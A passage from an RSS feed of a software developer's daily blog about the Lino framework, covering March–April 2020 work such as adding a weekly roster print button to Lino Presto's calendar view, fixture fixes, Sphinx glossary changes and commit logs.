&lt;p&gt;Until now we had only a &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;print_actions&lt;/span&gt;&lt;/code&gt; field in the
&lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/specs/contacts.html#lino_presto.lib.contacts.Worker" title="(in Lino Presto)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_presto.lib.contacts.Worker&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; detail, which prints a weekly “roster”
per worker using the  &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/specs/contacts.html#xfile-contacts-Person-roster.weasy.html" title="(in Lino Presto)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;contacts/Person/roster.weasy.html&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; template.  That
was basically what they want,  i.e. a document showing all calendar entries of
this week for this worker, one column per weekday.&lt;/p&gt;
&lt;p&gt;But it’s impolite to ask the secretary to enter the start and end dates each
time they want to print this document for a worker. It’s actually impolite to
ask the dates at all. That action should go to the workers’ calendar view where
Lino knows the week.&lt;/p&gt;
&lt;p&gt;Most visible result: the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_presto.lib.contacts.WeeklyView&lt;/span&gt;&lt;/code&gt; now has a
“Print” button for every worker, which prints the weekly “roster”,&lt;/p&gt;
&lt;p&gt;Related changes en passant:&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;orders/Order/base.weasy.html&lt;/span&gt;&lt;/code&gt; template (in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.orders.html#module-lino_xl.lib.orders" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.orders&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) no longer prints some fields in an intro block. This
was never useful and rather disturbing.  But the
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/weasyprint.html#xfile-weasyprint-base.weasy.html" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;weasyprint/base.weasy.html&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; template now produces a default main block
that says “You probably want to use a template that overrides the main block.”&lt;/p&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/api/lino_presto.lib.contacts.html#module-lino_presto.lib.contacts" title="(in Lino Presto)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_presto.lib.contacts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; I renamed the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Member&lt;/span&gt;&lt;/code&gt; model to
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Membership&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_calview_chunks()&lt;/span&gt;&lt;/code&gt; method is no longer used, we use
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Event.get_event_summary" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Event.get_event_summary()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; instead.&lt;/p&gt;
&lt;p&gt;Change in the framework: I moved the virtual field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;name_column&lt;/span&gt;&lt;/code&gt; from
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.Partner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts.Partner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;core.model.Model.name_column&lt;/span&gt;&lt;/code&gt;.
It does almost the same as the existing &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;mobile_item&lt;/span&gt;&lt;/code&gt; field.  Not yet sure
about these names. Needs more documentation.&lt;/p&gt;
&lt;p&gt;In Presto I now override that &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;name_column&lt;/span&gt;&lt;/code&gt; field in the WorkersParameters
actor.  Note that it is perfectly possible to override a model field by a
virtual field in the actor.  But note that the signature changes and that the
actor method is a class method (since actors are never instantiated).&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;orders/Order/default.weasy.html&lt;/span&gt;&lt;/code&gt; template in the
&lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/api/lino_presto.projects.presto1.html#module-lino_presto.projects.presto1" title="(in Lino Presto)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_presto.projects.presto1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; demo project now features a German text that
will actually be used on their production site.  Christophe kindly gave
permission to publish this text.&lt;/p&gt;
&lt;p&gt;Here is the simplified application code that adds a weekly print button to the
workers calendar view:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;displayfield&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Worker&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;name_column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;master_instance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;  &lt;span class="c1"&gt;# first day of current week&lt;/span&gt;
    &lt;span class="n"&gt;ba&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;print_roster&lt;/span&gt;
    &lt;span class="n"&gt;pv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start_date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end_date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ONE_WEEK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;btn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;instance_action_button&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ba&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Print&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;request_kwargs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action_param_values&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_summary_item&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;btn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I had to remove the &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actions.html#lino.core.actions.Action.keep_user_values" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Action.keep_user_values&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  for the  print_roster
action. Setting the &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actions.html#lino.core.actions.Action.keep_user_values" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Action.keep_user_values&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; of a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/nutshell.html#term-window-action" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;window action&lt;/span&gt;&lt;/a&gt;
to &lt;cite&gt;True&lt;/cite&gt; means that we don’t want it to automatically re-initialize the default
values of its parameters to their default value upon each usage. This feature
(1) is not used on any production site and (b) has the side effect of causing
the fields to never have a default value, even not on first execution, and even
not when you explicitly specify programmatic field values.&lt;/p&gt;
&lt;p&gt;Added a new observable date range &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.mixins.periods.html#lino.mixins.periods.Weekly" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.mixins.periods.Weekly&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Remark (now integrated into &lt;a class="reference external" href="https://dev.lino-framework.org/dev/custom_actions.html#dev-custom-actions" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Write custom actions&lt;/span&gt;&lt;/a&gt;): Isn’t it a design flaw
of the action API that we cannot define just the action class and specify, as a
class attribute, the model it is to be installed on?  At least for PrintRoster
that would be cool. There are other cases where it looks quite tedious that we
define an action class (e.g. QuickAssignTo) and then still need to instantiate
it on the model by saying &lt;cite&gt;quick_assign_to_action = QuickAssignTo()&lt;/cite&gt;. This
“tedious” API has several advantages: we can reuse a same action class on
different models (e.g. standard actions like
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actions.html#lino.core.actions.ShowInsert" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actions.ShowInsert&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;). Or we have actions where we use
instances of a same class with different instance values (e.g.
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actions.html#lino.core.actions.ShowSlaveTable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actions.ShowSlaveTable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).  And then actions can use
inheritance (e.g. &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_presto.lib.contacts.PrintRoster&lt;/span&gt;&lt;/code&gt; inherits from
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/printing.html#lino.modlib.printing.DirectPrintAction" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.printing.DirectPrintAction&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;). In very simple cases we might
define an  action as a method on the model, but that’s syntactically less
readable and I almost never use this approach.&lt;/p&gt;
&lt;p&gt;I released Lino 20.4.1 and XL 20.4.2 to PyPI because e.g. the presto repository
was failing on travis after my changes.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0418.html</guid><pubDate>Sat, 18 Apr 2020 00:00:00 +0000</pubDate></item><item><title>Friday, April 17, 2020</title><link>https://luc.lino-framework.org/blog/2020/0417.html</link><description>&lt;section id="friday-april-17-2020"&gt;
&lt;h1&gt;Friday, April 17, 2020&lt;a class="headerlink" href="#friday-april-17-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3589"&gt;#3589&lt;/a&gt;, but didn’t yet publish my changes. See &lt;a class="reference internal" href="0418.html"&gt;&lt;span class="doc"&gt;Saturday, April 18, 2020&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;section id="sphinx-glossary-terms-to-respect-the-case"&gt;
&lt;h2&gt;Sphinx glossary terms to respect the case&lt;a class="headerlink" href="#sphinx-glossary-terms-to-respect-the-case" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I worked quite some time on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3592"&gt;#3592&lt;/a&gt;, which is caused by a change in
Sphinx, which now requires glossary terms to respect the case
(&lt;a class="reference external" href="#7418:stddomain:termrolebecomescasesensitive"&gt;https://www.sphinx-doc.org/en/master/changes.html#release-3-0-1-released-apr-11-2020&lt;/a&gt;)&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0417.html</guid><pubDate>Fri, 17 Apr 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, April 14, 2020</title><link>https://luc.lino-framework.org/blog/2020/0414.html</link><description>&lt;section id="tuesday-april-14-2020"&gt;
&lt;h1&gt;Tuesday, April 14, 2020&lt;a class="headerlink" href="#tuesday-april-14-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3589"&gt;#3589&lt;/a&gt;, but didn’t yet publish my changes. See &lt;a class="reference internal" href="0418.html"&gt;&lt;span class="doc"&gt;Saturday, April 18, 2020&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I had a successful data migration with Hamza and reviewed the docs about
&lt;a class="reference external" href="https://hosting.lino-framework.org/move/#hosting-move" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Move a Lino site to a new server&lt;/span&gt;&lt;/a&gt;,
&lt;a class="reference external" href="https://hosting.lino-framework.org/upgrade/#admin-upgrade" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Upgrading a production site&lt;/span&gt;&lt;/a&gt; and
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/datamig.html#dg-datamig" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Data migrations à la Lino&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0414.html</guid><pubDate>Tue, 14 Apr 2020 00:00:00 +0000</pubDate></item><item><title>Friday, April 10, 2020</title><link>https://luc.lino-framework.org/blog/2020/0410.html</link><description>&lt;section id="friday-april-10-2020"&gt;
&lt;h1&gt;Friday, April 10, 2020&lt;a class="headerlink" href="#friday-april-10-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I wrote instructions for Hamza in a new page &lt;a class="reference external" href="https://hosting.lino-framework.org/move/#hosting-move" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Move a Lino site to a new server&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0410.html</guid><pubDate>Fri, 10 Apr 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, April 4, 2020</title><link>https://luc.lino-framework.org/blog/2020/0404.html</link><description>&lt;section id="saturday-april-4-2020"&gt;
&lt;h1&gt;Saturday, April 4, 2020&lt;a class="headerlink" href="#saturday-april-4-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;min3 demo project needs the std fixture for contacts. Until now this didn’t
cause any problem but now the demo fixture requires the std fixture.&lt;/p&gt;
&lt;p&gt;The std fixture of the lists plugin accidentally imported the std fixture of the
contacts plugin, causing e.g. a duplicate list of company types and contact
functions.  Funny that nobody ever noticed it during all this time…&lt;/p&gt;
&lt;p&gt;En passant I changed the verbose name of &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.Role" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts.Role&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; from
“Contact Person” to “Contact person”. Perfectionist without too strict deadline.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0404.html</guid><pubDate>Sat, 04 Apr 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, March 31, 2020</title><link>https://luc.lino-framework.org/blog/2020/0331.html</link><description>&lt;section id="tuesday-march-31-2020"&gt;
&lt;h1&gt;Tuesday, March 31, 2020&lt;a class="headerlink" href="#tuesday-march-31-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I worked on printing an order in &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; (as part of
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3477"&gt;#3477&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Added a custom template to the presto1 project.&lt;/p&gt;
&lt;p&gt;But how to configure the signer? Something like in welfare, but probably just a
pointer to a  &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;contacts.Role&lt;/span&gt;&lt;/code&gt;.  This is a ticket on its own:
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3569"&gt;#3569&lt;/a&gt;.  New model &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;contacts.Signer&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0331.html</guid><pubDate>Tue, 31 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Sunday, March 29, 2020</title><link>https://luc.lino-framework.org/blog/2020/0329.html</link><description>&lt;section id="sunday-march-29-2020"&gt;
&lt;h1&gt;Sunday, March 29, 2020&lt;a class="headerlink" href="#sunday-march-29-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I adapted the test suites after my work of the last days  (&lt;a class="reference internal" href="0327.html"&gt;&lt;span class="doc"&gt;Friday, March 27, 2020&lt;/span&gt;&lt;/a&gt; and
&lt;a class="reference internal" href="0328.html"&gt;&lt;span class="doc"&gt;Saturday, March 28, 2020&lt;/span&gt;&lt;/a&gt;) for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3477"&gt;#3477&lt;/a&gt; and children and then pushed my changes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2020-03-29 10:51 in &lt;em&gt;lino&lt;/em&gt;:
&lt;a class="reference external" href="https://gitlab.com/lino-framework/lino/commit/abd4d33582cc576cd40db720c21b4150981d7d2a"&gt;81d7d2a&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2020/0329.html"&gt;http://luc.lino-framework.org/blog/2020/0329.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-03-29 10:51 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/xl/commit/fbc62aefc592cc2ecb50035a81dd2ac96f27bfda"&gt;f27bfda&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2020/0329.html"&gt;http://luc.lino-framework.org/blog/2020/0329.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-03-29 10:51 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/book/commit/ce21c431c82ff1730abfadcd80c250e93ac11839"&gt;ac11839&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2020/0329.html"&gt;http://luc.lino-framework.org/blog/2020/0329.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-03-29 10:51 in &lt;em&gt;welfare&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/welfare/commit/16ba823b0df7cb5cf89f20b99e83713739ac0a5e"&gt;9ac0a5e&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2020/0329.html"&gt;http://luc.lino-framework.org/blog/2020/0329.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-03-29 10:52 in &lt;em&gt;presto&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/presto/commit/f6cbf30d43bf374c1f55876089a01c5426f7b763"&gt;6f7b763&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2020/0329.html"&gt;http://luc.lino-framework.org/blog/2020/0329.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-03-29 10:52 in &lt;em&gt;amici&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/amici/commit/827cfc970484001e3364157fb750de9b60b7ca70"&gt;0b7ca70&lt;/a&gt;
(Merge branch ‘master’ of github.com:lino-framework/amici)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-03-29 10:52 in &lt;em&gt;amici&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/amici/commit/f3ccc498fc0d06cf5e76bcee861e1d3bcb4ab23a"&gt;b4ab23a&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2020/0329.html"&gt;http://luc.lino-framework.org/blog/2020/0329.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0329.html</guid><pubDate>Sun, 29 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, March 28, 2020</title><link>https://luc.lino-framework.org/blog/2020/0328.html</link><description>&lt;section id="saturday-march-28-2020"&gt;
&lt;h1&gt;Saturday, March 28, 2020&lt;a class="headerlink" href="#saturday-march-28-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I saw that &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plannable.get_weekly_chunks()&lt;/span&gt;&lt;/code&gt;,  &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.summary_row()&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;cal.Event.get_event_summary()&lt;/span&gt;&lt;/code&gt; are doing very similar things: return a
“formatted” representation of a calendar entry to be used “in a calendar cell”
(i.e. without date and time because these are assumed to be given by other
elements). We want to customize how calendar entries are “interpreted”.  It
makes sense to do this in a method of the Event model.  The context may be
important, e.g. in certain views we want the name of the workers to show here,
in other views not. To be meditated.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0328.html</guid><pubDate>Sat, 28 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Friday, March 27, 2020</title><link>https://luc.lino-framework.org/blog/2020/0327.html</link><description>&lt;section id="friday-march-27-2020"&gt;
&lt;h1&gt;Friday, March 27, 2020&lt;a class="headerlink" href="#friday-march-27-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3477"&gt;#3477&lt;/a&gt;.  The &lt;a class="reference external" href="https://dev.lino-framework.org/team/doctrees.html#term-end-user-documentation" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;end-user documentation&lt;/span&gt;&lt;/a&gt;
(&lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/de/basics/tour.html#presto-de-tour" title="(in Lino Presto Benutzerhandbuch v20.8.0)"&gt;&lt;span&gt;Eine Besichtigungstour&lt;/span&gt;&lt;/a&gt;) is getting presentable.  I hope to record some screen
casts soon.&lt;/p&gt;
&lt;p&gt;I removed the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;purchase_stories&lt;/span&gt;&lt;/code&gt; plugin attribute as setting this to False
was functionally equivalent of having &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.declaration_plugin&lt;/span&gt;&lt;/code&gt;
set to &lt;cite&gt;None&lt;/cite&gt;. Side effect: the cosi2 demo project had no declaration plugin
and therefore no longer has purchase invoices, and consequently cannot serve as
example in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#xl-specs-accounting" title="(in Lino Developer Guide)"&gt;&lt;span&gt;accounting: General accounting&lt;/span&gt;&lt;/a&gt;.  We use cosi1 instead.  Adapting the doctests
took some time…&lt;/p&gt;
&lt;p&gt;Oops: inserting a task on a client in cal.TasksByProject doesn’t assign the task
to that client. Yes, &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_presto.lib.presto.settings.Site.project_model&lt;/span&gt;&lt;/code&gt;
is “presto.Client”.   That’s strange because e.g. for TicketsBySite it works.
That’s a ticket on its own: &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3562"&gt;#3562&lt;/a&gt;.&lt;/p&gt;
&lt;section id="inserting-in-tasksbyproject-doesn-t-set-the-project"&gt;
&lt;h2&gt;Inserting in TasksByProject doesn’t set the project&lt;a class="headerlink" href="#inserting-in-tasksbyproject-doesn-t-set-the-project" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When I insert in
TicketsBySite, the mt and mk are included with the POST request. Aha, the
problem comes only when using the insert button provided by the summary panel.
The bug was in lino/core/actors.py:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;insert_action&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;En passant I added a new method
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest.is_obvious_field" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.BaseRequest.is_obvious_field()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; which is now used by
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.mixins.html#lino.mixins.ProjectRelated" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.mixins.ProjectRelated&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to add the project (between parantheses) in
the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.model.Model.summary_row()&lt;/span&gt;&lt;/code&gt;, except “when it is obvious”.
